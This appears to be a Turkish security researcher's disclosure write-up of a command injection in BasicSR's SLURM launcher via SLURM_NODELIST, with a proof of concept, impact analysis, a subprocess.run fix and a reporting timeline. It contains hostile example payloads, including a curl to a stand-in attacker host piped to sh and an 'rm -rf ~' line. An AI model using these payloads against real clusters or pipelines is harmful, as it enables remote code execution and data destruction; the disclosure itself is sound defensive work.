CVE-2024-27763: SLURM_NODELIST üzerinden BasicSR komut enjeksiyonu
CVE-2024-27763 (CVSS 5.3)’ü BasicSR maintainer’larına Mart 2025’te raporladım. BasicSR görüntü ve video super-resolution için yaygın kullanılan bir PyTorch kütüphanesi. 1.4.2 ve öncesi sürümler, SLURM_NODELIST environment variable’ını hiçbir escape uygulamadan doğrudan bir shell komutuna sokuyor. O variable’ı kontrol ediyorsan shell’i de kontrol ediyorsun. GitHub advisory’sini GHSA-86w8-vhw6-q9qq olarak 12 Mart 2025’te yayımladı. Henüz patched bir sürüm yok.
Arka plan
Bunu popüler ML repolarında subprocess.getoutput(f' pattern’ini grepleyerek buldum; BasicSR, interpolate edilen değişkenin gerçekten saldırgan etki edebileceği bir kaynaktan geldiği ilk somut sonuçtu.
BasicSR’ın distributed training entry point’i iki launcher destekliyor: PyTorch’un kendisi ve SLURM. SLURM tarafının master node’u bilmesi gerekiyor, o yüzden node list’i genişletmek için scontrol‘a soruyor:
scontrol show hostname compute-[01-04] | head -n1
Node list (compute-[01-04]) launch sırasında SLURM tarafından geliyor. İlk hostname torch.distributed için rendezvous adresi oluyor. Buraya kadar sorun yok; sorun scontrol‘ı nasıl çağırdığında.
Savunmasız kod
basicsr/utils/dist_util.py, _init_dist_slurm içinde, 44. satır:
def _init_dist_slurm(backend, port=None):
proc_id = int(os.environ['SLURM_PROCID'])
ntasks = int(os.environ['SLURM_NTASKS'])
node_list = os.environ['SLURM_NODELIST']
num_gpus = torch.cuda.device_count()
torch.cuda.set_device(proc_id % num_gpus)
addr = subprocess.getoutput(f'scontrol show hostname {node_list} | head -n1')
...
O addr = satırında üç şey oluyor, sadece bir tanesi yazarın niyeti:
node_listenvironment’tan okunuyor.- Hiçbir quoting uygulanmadan string’in içine konuyor.
- String
subprocess.getoutput‘a veriliyor, o da/bin/sh -cüzerinden çalıştırıyor.
subprocess.getoutput aslında subprocess.Popen(..., shell=True)‘nin ince bir wrapper’ı. Shell’in yorumladığı her şey (backtick’ler, $(), ;, &&, |, >) yorumlanıyor. Sıfır sanitization. Yazar sadece ilk hostname’i istemişti.
Proof of concept
SLURM_NODELIST‘i shell’in çalıştıracağı bir şeye set et, SLURM init path’ini tetikle. Diğer env variable’lar enjeksiyonu göstermek için önemli değil; vulnerable satırdan önce kontrol ediliyorlar ama hata (int(...) üzerinde ValueError) shell komutu çalıştıktan sonra patlıyor.
# Adım 1: SLURM_NODELIST üzerinden payload hazırla
export SLURM_PROCID=0
export SLURM_NTASKS=1
export SLURM_NODELIST='$(id > /tmp/pwned)'
# Adım 2: SLURM init path'ini tetikle
python3 -c "
from basicsr.utils.dist_util import _init_dist_slurm
try:
_init_dist_slurm('nccl')
except Exception:
pass
"
# Adım 3: doğrula
cat /tmp/pwned
# uid=1000(yunus) gid=1000(yunus) groups=1000(yunus),...
Shell $(id > /tmp/pwned)‘i scontrol show hostname boş input’la patlamadan önce expand ediyor. Sonrasında gelen Python exception’ı kozmetik; komut training job’unun yetkileriyle zaten çalıştı.
Aynı şey her şey için işliyor: ;curl attacker.tld/x.sh|sh;#, &&rm -rf ~, ne istersen. Shell’in umurunda değil.
Etki
Lokal ve SLURM_NODELIST kontrolü gerektiriyor; pratik risk tamamen o variable’ı kimin set edebildiğine bağlı:
- Multi-tenant SLURM cluster’larında, kullanıcılar BasicSR import eden job’lar gönderiyorsa: herhangi bir kullanıcı, training’i başlatmadan önce kötü niyetli bir
SLURM_NODELISTexport eden bir job script’i yazabilir. Kendi job’undan, BasicSR kullanan job’un çalıştığı hesaba (genellikle ortak compute kullanıcıları) sıçrayabilir. - CI/CD pipeline’larında, BasicSR’ı job parametrelerinden veya dış config’den gelen environment variable’larla çalıştıranlar: o parametreleri etkileyebilen saldırgan runner’da komut çalıştırır.
- Docker / Kubernetes image’larında,
SLURM_NODELISTdownstream bir değerden (label, annotation, workflow input) geliyorsa: aynı hikaye.
BasicSR’ı sadece kendi laptop’unda elle set ettiğin env variable’larla çalıştırıyorsan etkilenmiyorsun. Paylaşımlı altyapıda çalıştırıyorsan etkileniyorsun.
Düzeltme
Shell’e dökme. scontrol show hostname node list’i argv olarak alıyor; liste olarak ver, Python shell’i tamamen es geçsin:
import subprocess
result = subprocess.run(
['scontrol', 'show', 'hostname', node_list],
capture_output=True,
text=True,
check=True,
)
addr = result.stdout.splitlines()[0]
Bu shell=True‘yu kaldırıyor, interpolation’ı kaldırıyor, | head -n1 pipe’ını kaldırıyor (ilk satırı Python alabilir) ve tüm saldırı yüzeyini kaldırıyor. Multi-tenant senaryoda node_list hala saldırgan kontrolünde, ama execve $(...)‘ı yorumlamayacak. Saldırganın yapabileceği en kötü şey scontrol‘ın tanımadığı bir node list göndermek; o da sessizce değil, sesli patlıyor.
Mutlaka shell pipeline gerekiyorsa, en azından node_list‘in SLURM node syntax’ına (^[a-zA-Z0-9_\-\[\],]+$) uyduğunu doğrula, gerisini reddet. Ama subprocess.run versiyonu hem daha kısa hem daha güvenli, onu kullan.
Bu pattern neden hep çıkıyor
Üç şey bunu sürekli tetikliyor. subprocess.getoutput masum görünüyor: string operation gibi duruyor, shell’e döktüğü detayı dokümantasyonun derinlerinde. f-string enjeksiyonu formatting gibi hissettiriyor; f'cmd {var}' yapısal duruyor, geliştirici komutun şeklini düşünüyor, var‘ı kimin kontrol ettiğini değil. Environment variable’lar ise örtük güven görüyor: request.GET['x']‘e asla güvenmeyecek bir kod, os.environ['X']‘e seve seve güveniyor. Single-tenant ortamda sorun yok; paylaşımlı altyapıda sorun.
Tüm bu sınıfı CWE-77 kapsıyor. Her Python güvenlik checklist’i bunu yapmamanı söylüyor. Yine de production’a çıkıyor, çünkü subprocess.getoutput(f'... {var} ...') satırı tehlikeli olamayacak kadar küçük görünüyor. BasicSR hala 1.4.2’de. Satır hala duruyor. Bağımlılığını sabitle, ya da paylaşımlı altyapıda çalıştırma.
Raporlama zaman çizelgesi
- 11 Mart 2025: BasicSR repository’sinde GitHub Security Advisory üzerinden raporladım.
- 12 Mart 2025: CVE-2024-27763 yayımlandı. GHSA-86w8-vhw6-q9qq atandı. CVSS 5.3.
- 13 Mart 2025: Review edildi.
- Eylül 2026: Hala patched release yok. Bu yazıyı yazdığım sırada vulnerable kod HEAD’de duruyor.
Referanslar
- CVE-2024-27763: https://nvd.nist.gov/vuln/detail/CVE-2024-27763
- GHSA-86w8-vhw6-q9qq: https://github.com/advisories/GHSA-86w8-vhw6-q9qq
- Savunmasız dosya: basicsr/utils/dist_util.py
- Proof of concept: Gist
- CWE-77: Improper Neutralization of Special Elements used in a Command
- Python dokümantasyonu: subprocess Security Considerations